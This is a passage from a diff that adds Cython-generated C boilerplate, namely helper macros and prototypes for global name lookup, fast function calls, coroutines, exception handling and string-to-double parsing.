__PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); +#endif + +/* GetModuleGlobalName.proto */ +#if CYTHON_USE_DICT_VERSIONS +#define __Pyx_GetModuleGlobalName(var, name) do {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ + (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ + __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +#define __Pyx_GetModuleGlobalNameUncached(var, name) do {\ + PY_UINT64_T __pyx_dict_version;\ + PyObject *__pyx_dict_cached_value;\ + (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); +#else +#define __Pyx_GetModuleGlobalName(var, name) (var) = __Pyx__GetModuleGlobalName(name) +#define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name); +#endif + +/* PyFunctionFastCall.proto */ +#if CYTHON_FAST_PYCALL +#if !CYTHON_VECTORCALL +#define __Pyx_PyFunction_FastCall(func, args, nargs)\ + __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); +#endif +#define __Pyx_BUILD_ASSERT_EXPR(cond)\ + (sizeof(char [1 - 2*!(cond)]) - 1) +#ifndef Py_MEMBER_SIZE +#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) +#endif +#if !CYTHON_VECTORCALL +#if PY_VERSION_HEX >= 0x03080000 + #include "frameobject.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif + #define __Pxy_PyFrame_Initialize_Offsets() + #define __Pyx_PyFrame_GetLocalsplus(frame) ((frame)->f_localsplus) +#else + static size_t __pyx_pyframe_localsplus_offset = 0; + #include "frameobject.h" + #define __Pxy_PyFrame_Initialize_Offsets()\ + ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ + (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) + #define __Pyx_PyFrame_GetLocalsplus(frame)\ + (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) +#endif +#endif +#endif + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectFastCall.proto */ +#define __Pyx_PyObject_FastCall(func, args, nargs) __Pyx_PyObject_FastCallDict(func, args, (size_t)(nargs), NULL) +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs); + +/* IncludeStructmemberH.proto */ +#include + +/* FixUpExtensionType.proto */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type); +#endif + +/* FetchSharedCythonModule.proto */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void); + +/* FetchCommonType.proto */ +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); +#else +static PyTypeObject* __Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases); +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* GetTopmostException.proto */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); +#endif + +/* SaveResetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +#else +#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) +#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) +#endif + +/* SwapException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* PyObjectCall2Args.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2); + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* PyObjectGetMethod.proto */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* PyObjectCallNoArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); + +/* CoroutineBase.proto */ +struct __pyx_CoroutineObject; +typedef PyObject *(*__pyx_coroutine_body_t)(struct __pyx_CoroutineObject *, PyThreadState *, PyObject *); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_ExcInfoStruct _PyErr_StackItem +#else +typedef struct { + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; +} __Pyx_ExcInfoStruct; +#endif +typedef struct __pyx_CoroutineObject { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + __Pyx_ExcInfoStruct gi_exc_state; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + PyObject *gi_code; + PyObject *gi_frame; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); +static int __Pyx_Coroutine_clear(PyObject *self); +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_Coroutine_SwapException(self) +#define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) +#else +#define __Pyx_Coroutine_SwapException(self) {\ + __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ + __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ + } +#define __Pyx_Coroutine_ResetAndClearException(self) {\ + __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ + (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ + } +#endif +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) +#endif +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); + +/* PyObject_GenericGetAttrNoDict.proto */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Coroutine.proto */ +#define __Pyx_Coroutine_USED +#define __Pyx_Coroutine_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineType) +#define __Pyx_Coroutine_Check(obj) __Pyx_Coroutine_CheckExact(obj) +#define __Pyx_CoroutineAwait_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineAwaitType) +#define __Pyx_Coroutine_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_CoroutineType, body, code, closure, name, qualname, module_name) +static int __pyx_Coroutine_init(PyObject *module); +static PyObject *__Pyx__Coroutine_await(PyObject *coroutine); +typedef struct { + PyObject_HEAD + PyObject *coroutine; +} __pyx_CoroutineAwaitObject; +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg); +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args); + +/* GetAwaitIter.proto */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o); +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *o); + +/* CoroutineYieldFrom.proto */ +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source); + +/* PyIntBinop.proto */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); +#else +#define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace, zerodivision_check)\ + (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) +#endif + +/* GetItemInt.proto */ +#define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ + (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ + __Pyx_GetItemInt_Generic(o, to_py_func(i)))) +#define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +#define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, + int is_list, int wraparound, int boundscheck); + +/* ObjectGetItem.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key); +#else +#define __Pyx_PyObject_GetItem(obj, key) PyObject_GetItem(obj, key) +#endif + +/* DictGetItem.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); +#define __Pyx_PyObject_Dict_GetItem(obj, name)\ + (likely(PyDict_CheckExact(obj)) ?\ + __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name)) +#else +#define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) +#define __Pyx_PyObject_Dict_GetItem(obj, name) PyObject_GetItem(obj, name) +#endif + +/* PyObjectFormatSimple.proto */ +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#elif PY_MAJOR_VERSION < 3 + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\ + PyObject_Format(s, f)) +#elif CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_repr(s) :\ + likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_repr(s) :\ + PyObject_Format(s, f)) +#else + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#endif + +/* PyIntCompare.proto */ +static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace); + +/* GetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* pep479.proto */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen); + +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + +/* ReturnWithStopIteration.proto */ +#define __Pyx_ReturnWithStopIteration(value)\ + if (value == Py_None) PyErr_SetNone(PyExc_StopIteration); else __Pyx__ReturnWithStopIteration(value) +static void __Pyx__ReturnWithStopIteration(PyObject* value); + +/* pybytes_as_double.proto */ +static double __Pyx_SlowPyString_AsDouble(PyObject *obj); +static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length); +static CYTHON_INLINE double __Pyx_PyBytes_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyBytes_AS_STRING(obj); + size = PyBytes_GET_SIZE(obj); +#else + if (PyBytes_AsStringAndSize(obj, &as_c_string, &size) < 0) { + return (double)-1; + } +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} +static CYTHON_INLINE double __Pyx_PyByteArray_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyByteArray_AS_STRING(obj); + size = PyByteArray_GET_SIZE(obj); +#else + as_c_string = PyByteArray_AsString(obj); + if (as_c_string == NULL) { + return (double)-1; + } + size = PyByteArray_Size(obj); +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} + +/* pyunicode_as_double.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS +static const char* __Pyx__PyUnicode_AsDouble_Copy(const void* data, const int kind, char* buffer, Py_ssize_t start, Py_ssize_t end) { + int last_was_punctuation; + Py_ssize_t i; + last_was_punctuation = 1; + for (i=start; i <= end; i++) { + Py_UCS4 chr = PyUnicode_READ(kind, data, i); + int is_punctuation = (chr == '_') | (chr == '.'); + *buffer = (char)chr; + buffer += (chr != '_'); + if (unlikely(chr > 127)) goto parse_failure; + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyUnicode_AsDouble_inf_nan(const void* data, int kind, Py_ssize_t start, Py_ssize_t length) { + int matches = 1; + Py_UCS4 chr; + Py_UCS4 sign = PyUnicode_READ(kind, data, start); + int is_signed = (sign == '-') | (sign == '+'); + start += is_signed; + length -= is_signed; + switch (PyUnicode_READ(kind, data, start)) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'a') | (chr == 'A'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'n') | (chr == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'f') | (chr == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+3); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+4); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+5); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+6); + matches &= (chr == 't') | (chr == 'T'); + chr = PyUnicode_READ(kind, data, start+7); + matches &= (chr == 'y') | (chr == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static double __Pyx_PyUnicode_AsDouble_WithSpaces(PyObject *obj) { + double value; + const char *last; + char *end; + Py_ssize_t start, length = PyUnicode_GET_LENGTH(obj); + const int kind = PyUnicode_KIND(obj); + const void* data = PyUnicode_DATA(obj); + start = 0; + while (Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, start))) + start++; + while (start < length - 1 && Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, length - 1))) + length--; + length -= start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyUnicode_AsDouble_inf_nan(data, kind, start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + if (length < 40) { + char number[40]; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((length + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} +#endif +static CYTHON_INLINE double __Pyx_PyUnicode_AsDouble(PyObject *obj) { +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS + if (unlikely(__Pyx_PyUnicode_READY(obj) == -1)) + return (double)-1; + if (likely(PyUnicode_IS_ASCII(obj))) { + const char *s; + Py_ssize_t length; + s = PyUnicode_AsUTF8AndSize(obj, &length); + return __Pyx__PyBytes_AsDouble(obj, s, length); + } + return __Pyx_PyUnicode_AsDouble_WithSpaces(obj); +#else + return __Pyx_SlowPyString_AsDouble(obj); +#endif +} + +/* pyobject_as_double.proto */ +static double __Pyx__PyObject_AsDouble(PyObject* obj); +#if CYTHON_COMPILING_IN_PYPY +#define __Pyx_PyObject_AsDouble(obj)\ +(likely(PyFloat_CheckExact(obj)) ? PyFloat_AS_DOUBLE(obj) :\ + likely(PyInt_CheckExact(obj)) ?\ + PyFloat_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) +#else +#define __Pyx_PyObject_AsDouble(obj)\ +((likely(PyFloat_CheckExact(obj))) ? PyFloat_AS_DOUBLE(obj) :\ + likely(PyLong_CheckExact(obj)) ?\ + PyLong_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) +#endif + +/* PyObjectCallMethod0.proto */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name); + +/* ValidateBasesTuple.proto */ +#if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases); +#endif + +/* PyType_Ready.proto */ +CYTHON_UNUSED static int __Pyx_PyType_Ready(PyTypeObject *t); + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportDottedModule.proto */ +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple); +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple); +#endif + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* Py3UpdateBases.proto */ +static PyObject* __Pyx_PEP560_update_bases(PyObject *bases); + +/* CalculateMetaclass.proto */ +static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); + +/* SetNameInClass.proto */ +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? _PyDict_SetItem_KnownHash(ns, name, value, ((PyASCIIObject *) name)->hash) : PyObject_SetItem(ns, name, value)) +#elif CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? PyDict_SetItem(ns, name, value) : PyObject_SetItem(ns, name, value)) +#else +#define __Pyx_SetNameInClass(ns, name, value) PyObject_SetItem(ns, name, value) +#endif + +/* PyObjectLookupSpecial.proto */ +#if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +#define __Pyx_PyObject_LookupSpecialNoError(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 0) +#define __Pyx_PyObject_LookupSpecial(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 1) +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error); +#else +#define __Pyx_PyObject_LookupSpecialNoError(o,n) __Pyx_PyObject_GetAttrStrNoError(o,n) +#define __Pyx_PyObject_LookupSpecial(o,n) __Pyx_PyObject_GetAttrStr(o,n) +#endif + +/* Py3ClassCreate.proto */ +static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, + PyObject *mkw, PyObject *modname, PyObject *doc); +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, + PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); + +/* PyMethodNew.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + PyObject *typesModule=NULL, *methodType=NULL, *result=NULL; + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + typesModule = PyImport_ImportModule("types"); + if (!typesModule) return NULL; + methodType = PyObject_GetAttrString(typesModule, "MethodType"); + Py_DECREF(typesModule); + if (!methodType) return NULL; + result = PyObject_CallFunctionObjArgs(methodType, func, self, NULL); + Py_DECREF(methodType); + return result; +} +#elif PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + return PyMethod_New(func, self); +} +#else + #define __Pyx_PyMethod_New PyMethod_New +#endif + +/* PyVectorcallFastCallDict.proto */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw); +#endif + +/* CythonFunctionShared.proto */ +#define __Pyx_CyFunction_USED +#define __Pyx_CYFUNCTION_STATICMETHOD 0x01 +#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 +#define __Pyx_CYFUNCTION_CCLASS 0x04 +#define __Pyx_CYFUNCTION_COROUTINE 0x08 +#define __Pyx_CyFunction_GetClosure(f)\ + (((__pyx_CyFunctionObject *) (f))->func_closure) +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_CyFunction_GetClassObj(f)\ + (((__pyx_CyFunctionObject *) (f))->func_classobj) +#else + #define __Pyx_CyFunction_GetClassObj(f)\ + ((PyObject*) ((PyCMethodObject *) (f))->mm_class) +#endif +#define __Pyx_CyFunction_SetClassObj(f, classobj)\ + __Pyx__CyFunction_SetClassObj((__pyx_CyFunctionObject *) (f), (classobj)) +#define __Pyx_CyFunction_Defaults(type, f)\ + ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) +#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ + ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) +typedef struct { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject_HEAD + PyObject *func; +#elif PY_VERSION_HEX < 0x030900B1 + PyCFunctionObject func; +#else + PyCMethodObject func; +#endif +#if CYTHON_BACKPORT_VECTORCALL + __pyx_vectorcallfunc func_vectorcall; +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_weakreflist; +#endif + PyObject *func_dict; + PyObject *func_name; + PyObject *func_qualname; + PyObject *func_doc; + PyObject *func_globals; + PyObject *func_code; + PyObject *func_closure; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_classobj; +#endif + void *defaults; + int defaults_pyobjects; + size_t defaults_size; + int flags; + PyObject *defaults_tuple; + PyObject *defaults_kwdict; + PyObject *(*defaults_getter)(PyObject *); + PyObject *func_annotations; + PyObject *func_is_coroutine; +} __pyx_CyFunctionObject; +#undef __Pyx_CyOrPyCFunction_Check +#define __Pyx_CyFunction_Check(obj) __Pyx_TypeCheck(obj, __pyx_CyFunctionType) +#define __Pyx_CyOrPyCFunction_Check(obj) __Pyx_TypeCheck2(obj, __pyx_CyFunctionType, &PyCFunction_Type) +#define __Pyx_CyFunction_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CyFunctionType) +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc); +#undef __Pyx_IsSameCFunction +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCyOrCFunction(func, cfunc) +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj); +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, + size_t size, + int 